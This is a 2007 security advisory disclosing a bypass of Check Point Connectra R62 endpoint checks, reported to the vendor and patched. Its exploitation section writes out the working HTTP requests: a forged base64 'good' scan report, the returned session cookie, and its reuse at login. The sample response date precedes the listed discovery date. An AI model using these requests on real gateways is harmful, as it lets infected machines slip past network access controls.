SecurityReason - Check Point Connectra End Point security bypass

Advisory Text :

I. INTRODUCTION

Check Point Connectra is a complete Web Security Gateway that provides
SSL VPN access and comprehensive endpoint and integrated intrusion
prevention
Security in a single unified remote access solution. By combining both SSL
VPN connectivity and security in one solution, organizations can
effectively
deploy SSL VPNs Safely and securely to a diverse set of remote users while
ensuring the confidentiality and integrity of information that is critical
to the success of any business.

For more Information please refer to:
http://www.checkpoint.com/products/connectra/index.html

II. DESCRIPTION

One of the major things in Check Point Connectra is Comprehensive endpoint
security.
Before a client connects to the internal network a test is being done on
the
client to check if there is any security hazard on his computer. If a
hazard
is detected the user is prompted with the hazard details and asked to run
the test again before getting the ability to login to the network.

A bypass to this test has been detected by Roni Bachar and Nir
Goldshlager.
A user with a security hazard or a Trojan can bypass the end point
security
tests and login to the network with a security hazard on his computer.
The
bypass is being done by sending a "good" report to the /sre/params.php
page
after sending the report a set cookie will be send from the server to the
client. This cookie can be used to bypass the endpoint security findings.

The bypass was detected on the latest version of checkpoint connectra R62.

III. EXPLOITATION

The vulnerability can be exploited by doing the following stages:

Sending a post request as followed:

POST https://serverip/sre/params.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: ICS_Secure
Host: serverip
Content-Length: 251
Cache-Control: no-cache
Cookie: ICS_Test_Cookie=1

Report=PD94bWwgdmVyc2lvbj0iMS4wIj8+Cgo8U3JlU2NhblJlcG9ydCBWZXJzaW9uPSIzL
jcuM
TE2LjAiPgoJPFVzZXJJbmZvIFdpbkRvbWFpbj0iIiBXaW5Vc2VyPSJyb25pIiBXaW5Vc2VyQ
2F0Y
WxvZz0iQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xyb25pLkxFTk9WTy00RkZFRjRFMyIvP
go8L
1NyZVNjYW5SZXBvcnQ+Cg==

After sending the request a Set-Cookie will be received from the Check
Point
Connectra server

HTTP/1.1 200 OK
Date: Fri, 15 Dec 2006 17:16:19 GMT
Server: CPWS
Last-Modified: Fri, 15 Dec 2006 17:16:19 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: ICSCookie=ffbe7a3740e0db1c2d11b2c6b24c917d; expires=Tue, 13
Sep
2016 17:16:19 GMT; path=/; secure
Content-Length: 0
Content-Type: text/html

This ICSCookie is needed to be enteredd into the next request

GET https://serverip/Login/Login?LangCode= HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)
Host: serverip
Connection: Keep-Alive
Cookie: CheckCookieSupport=1; ICSCookie=ffbe7a3740e0db1c2d11b2c6b24c917d

IV. WORKAROUND

Check point released a patch for this vulnerability.

V. DISCLOSURE TIMELINE

20.12.06 First Identification of the flaw
24.12.06 Reporting the flaw to checkpoint
27.12.06 Meeting checkpoint security stuff
22.01.07 Publishing the vulnerability.
22.01.07 Checkpoint Released a patch for the vulnerability

VI. CREDITS

The vulnerability was discovered by Roni Bachar and Nir Goldshlager.